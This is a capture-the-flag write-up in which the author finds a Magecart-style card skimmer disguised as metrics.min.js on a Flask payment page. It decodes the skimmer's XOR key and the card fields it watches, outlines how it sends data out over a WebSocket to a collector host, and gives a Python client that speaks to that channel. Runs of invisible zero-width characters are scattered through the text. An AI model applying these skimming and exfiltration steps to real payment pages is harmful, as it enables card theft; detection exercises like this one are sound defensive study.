← Back to Writeups
CUSTOMMediumWeb

Дуглас Муглис

XESXOR9/10/20263 min read
#web#custom#medium#char_code_decoding#javascript_deobfuscation#web_skimmer_detection#websocket_interaction#xor_decryption

Дуглас Муглис

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: char_code_decoding, javascript_deobfuscation, web_skimmer_detection, websocket_interaction, xor_decryption

Summary

Task: Flask payment page with a stranger maintaining the site — find if the stranger is honest. Solution: discovered a Magecart-style credit card skimmer in metrics.min.js, deobfuscated char-code arrays to find XOR key, connected to the WebSocket exfil endpoint and received the flag in the server config response.

Дуглас Муглис — Bug Makers CTF

Description

Смышленный парень из деревеньки, поработал во многих сферах, и решил сделать сайт по продаже своих книг. Сайт еще совсем сырой, но уже выполняет заказы и принимает оплату. Однако, Дуглас не справился с нагрузкой, у него ведь еще жена и дети. По этому пришлось незнакомцу из интернета дать доступ, чтоб тот дорабатывал и следил за сайтом. Подскажите Дугласу Муглису, точно ли этот незнакомец честный парень?

English summary: A guy named Douglas Muglis built a raw book-selling website that accepts payments. He couldn't handle the workload alone, so he gave a stranger from the internet access to maintain the site. We need to determine whether this stranger is honest — i.e., find evidence of malicious activity. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

The site is a Flask application (Werkzeug/3.1.6, Python/3.9.25) serving a credit card payment form for ordering books. The form collects cardholder name, card number, expiry date, CVV, and email. Standard enumeration paths (/admin, /login, /console, .git, .env, robots.txt) all returned 404.

Malicious Script Discovery

Inspecting the page source revealed a suspicious script tag at the bottom of the HTML:

html
<script src="/static/metrics.min.js"></script>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This file was disguised as a legitimate analytics/metrics library but turned out to be a credit card skimmer (Magecart-style web skimmer).

JavaScript Deobfuscation

The minified JavaScript used char code arrays instead of plain strings to evade simple grep/search detection:

XOR encryption key — char codes [83,69,67,82,69,84,75,69,89,50,48,50,53] decode to SECRETKEY2025:

python
key_chars = [83,69,67,82,69,84,75,69,89,50,48,50,53]
key = ''.join(chr(c) for c in key_chars)  # "SECRETKEY2025"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Monitored form fields — char code arrays decode to card-related field names:

python
field_patterns = [
    [99,97,114,100],      # "card"
    [99,99],              # "cc"
    [99,118,118],         # "cvv"
    [99,118,99],          # "cvc"
    [101,120,112,105,114],# "expir"
    [110,117,109,98,101,114], # "number"
    [110,97,109,101],     # "name"
    [101,109,97,105,108]  # "email"
]

Global variable name — [95,95,117,120,95,97,110,97,108,121,116,105,99,115] decodes to __ux_analytics, making it look like a legitimate UX analytics library. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Skimmer Behavior

The skimmer operated as follows:

  1. Attached blur event listeners to all form inputs matching card-related field names
  2. On blur (user leaves a field), captured the field name and value
  3. On form submission, captured all form data at once
  4. XOR-encrypted the captured data with SECRETKEY2025
  5. Base64-encoded the encrypted payload
  6. Exfiltrated via WebSocket to wss://duglas-muglis.t1.bug-makers.ru/ws/metrics

Solution

After understanding the skimmer's protocol, I connected to the WebSocket endpoint programmatically and sent a properly formatted message mimicking the skimmer's behavior: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import asyncio
import websockets
import json
import base64

KEY = "SECRETKEY2025"

def xor_encrypt(data, key):
    return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data))

def xor_decrypt(data, key):
    return ''.join(chr(ord(c) ^ ord(key[i % len(key)])) for i, c in enumerate(data))

async def connect():
    uri = "wss://duglas-muglis.t1.bug-makers.ru/ws/metrics"
    async with websockets.connect(uri) as ws:
        print("Connected to WebSocket!")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        # Send a test message mimicking the skimmer's format
        payload = json.dumps({
            "t": "page_analytics",
            "ts": 1234567890,
            "u": "/",
            "d": {"r": "", "t": "test"}
        })
        encrypted = xor_encrypt(payload, KEY)
        encoded = base64.b64encode(
            encrypted.encode('utf-8', errors='surrogateescape')
        ).decode()

        await ws.send(encoded)
        print(f"Sent: {payload}")

        # Receive and decrypt the response
        response = await asyncio.wait_for(ws.recv(), timeout=5)
        decoded = base64.b64decode(response)
        decrypted = xor_decrypt(
            decoded.decode('utf-8', errors='surrogateescape'), KEY
        )
        print(f"Decrypted response: {decrypted}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

asyncio.run(connect())

The server responded with an XOR-encrypted, base64-encoded config message. Decrypting it revealed:

json
{
  "status": "connected",
  "session": "3f4609d8",
  "config": {
    "exfil_endpoint": "wss://evil.collector.internal/data",
    "flag": "BugCTF{REDACTED}"
  }
}

The config confirms the stranger was exfiltrating stolen card data to wss://evil.collector.internal/data. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍